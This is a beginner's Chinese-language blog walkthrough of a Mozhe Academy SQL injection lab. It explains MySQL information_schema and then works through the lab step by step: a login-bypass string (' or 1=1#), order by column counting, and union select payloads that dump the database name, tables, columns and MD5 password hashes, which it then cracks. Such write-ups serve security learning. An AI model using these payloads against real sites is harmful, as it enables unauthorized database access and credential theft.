墨者学院的SQL注入题:https___mozhe
墨者学院的SQL注入题:https://mozhe.cn/bug/detail/elRHc1BCd2VIckQxbjduMG9BVCtkZz09bW96aGUmozhe
第一步:先了解相关知识点
1.1知识点
在 MYSQL5.0 以上,MySQL 存在一个自带数据库,名为information_schema,它是一个存储记录有所有数据库名,表名,列名的数据库,也相当与可以通过查询它获取某一个数据库下面的表名或列名信息
table_name:表名
column_name:列名
table_schema:数据库名
information_schema.tables:记录所有数据库名的表
information_schema.columns:记录所有表名的表
information_schema.schemata:记录所有数据库的表
数据库版本:version()
数据库名字:database()
数据库用户:user()
数据库路径:@@datadir
操作系统:@@version_compile_os
当前用户名: current_user()
系统用户名:system_user()
sql字符串的相关函数:
length(): 返回字符串的长度
substr():截取字符串
mid(),left():从左侧开始截取指定的字符个数的字符串
concat():没有分隔符的连接字符串
concat_ws():含有分隔符的连接字符串(CONCAT_WS(separator, str1, str2, ..., strN))separator代表的是分隔符
group_concat():连接一个组成的字符串(把分组后的每组的多条记录合并成一条记录每个值用,逗号分隔)
ord():返回十进制的unicode编码也就是10进制
ascii():返回ASCll码
1.2select 语句的构成:
1.from:数据的来源
2.where:对原始条件的筛选
3.group by :分组
4.order by :排序,升序ASC,降序DESC
5.通配符*代表所有
select * from ? where ? ......自己想
第二步:寻找注入点:
2.1:ulc寻找
在打开靶场后可以看到是一个登录画面在上方ulc中可以先尝试寻找注入点 http://182.44.114.36:42957/?id=1 and 1=2
http://182.44.114.36:42957/?id=1 and 1=1
发现网页都没什么变化,所以可能没有注入点,
方法:在url地址栏中可以判断是否为
字符型注入:id=1' and 1=1#如果网页没有报错则用id=1' and 1=2#如果依旧没有报错就得考虑数值注入,也就是说1=1为真结果网页没有出错能正常显示,1=2不能正常显示就说明网页时字符型注入由and 后面的1=1 ,1=2 控制。
数值注入:id=1 and 1=1# 也可以用id='1' and 1=1原理就是
(select * from where id=x,limit1,1)用#把后面的注释掉,也可以用id='1'提前闭合可以理解为字符型注入
2.2:万能密码尝试
然后试了一下万能密码('or 1=1#)
万能密码的原理就是比如:select * from abc where user='username' and password='pass'
当输入'or 1=1#或'or 1=1--空格 'or 1=1--+ 'or 1=1%23 时
select * from abc where user='username' and password='pass'中的user='username' and password='pass'会变成user=''or 1=1#' and password='pass'其中#,--空格,--+,%23为注释符所以就构成了一个永远为真的式子
`登录却发现错误,
2.3:查看源码寻找可疑点
所以只能从其他地方寻找sql注入点,在网页源码发现<a href="new_list.php?id=1" target="_blank">关于平台停机维护的通知【12:02】</a></p>这是另一个网页所以点击一下跳转。
发现是一个网页,而且网页的ulc有?id=1这种极大可能的sql注入点,试了一下
http://182.44.114.36:42957/new_list.php?id=1 and 1=2
发现有跳转所以从这里入手
第三步:找出段数
使用 order by X(X是数字) 来寻找
列:http://182.44.114.36:42957/new_list.php?id=1 order by 1
最后发现到5时有变化所以临界点是4 ,所以是一个4段式的网页
第四步:找出响应段
使用 http://182.44.114.36:42957/new_list.php?id=-1 union select 1,2,3,4(为什么要用id=-1,因为id 一般为正整数所以当id为负数时候会抹除原本的信息,我们后面接union是为了构造恶意的sql语句)
可以看到只有2和3有响应
第五步:用已知的函数找出数据库名,数据库用户,数据库版本和操作系统
数据库版本:version()
数据库名字:database()
数据库用户:user()
操作系统:@@version_compile_os
分别在2,3上使用以上函数列:http://182.44.114.36:42957/new_list.php?id=-1 union select 1,database(),version(),4
得到的数据分别是:
数据库版本:version() 结果:5.7.22-0ubuntu0.16.04.1
数据库名字:database() 结果:mozhe_Discuz_StormGroup
数据库用户:user() 结果:root@localhost
操作系统:@@version_compile_os 结果:Linux
第六步:得到表名,以及列名,和列名下的数据项
在知道数据库名后,我们用http://182.44.114.36:42957/new_list.php?id=-1 union select 1,table_name,3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'
解释一下:
select 后要跟上四段然后我们要查询的数据替换一段就是1,table_name,3,4
from 后面要跟上来源,来源就是information_schema.tables(包含所有表名的表)
where 后面跟上条件,查询来源于information_schema.tables,条件是我们刚刚查询到的数据库名mozhe_Discuz_StormGroup 这里一定要用'单引号括起来。
得到的结果是表名:StormGroup_member,但是不确定还有没有遗漏的表所以建议把table_name替换成group_concat(table_name)
也就是http://182.44.114.36:42957/new_list.php?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'
发现还有一个:notice
接下来找这个表下的列,用http://182.44.114.36:42957/new_list.php?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member'
意思跟上面的差不多
发现
发现name和password应该就是我们要找的内容
用http://182.44.114.36:42957/new_list.php?id=-1 union select 1,name,password,4 from StormGroup_member
解释一下:
因为我们已经找到了表名所以就不需要条件了
得到
发现
name:mozhe
password:356f589a7df439f6f744ff19bb8092c0
根据作者的提示md5,所以用在线解码工具解码
得到:dsan13
我们试一下,发现用户被禁用,所以考虑不止一条记录,所以用limit X,M这个函数来得到从X+1条开始
取M条记录。
例如:http://182.44.114.36:42957/new_list.php?id=-1 union select 1,name,password,4 from StormGroup_member limit 1,1
就可以得到第二条记录,password为:e49ba25199e38a8a87f7db121f1737be
用解码工具得到:695355
最后就登录就可以得到KEY了!
本人是新手所以望大家不要取笑我,大家可以指出我的问题我一定改!





浙公网安备 33010602011771号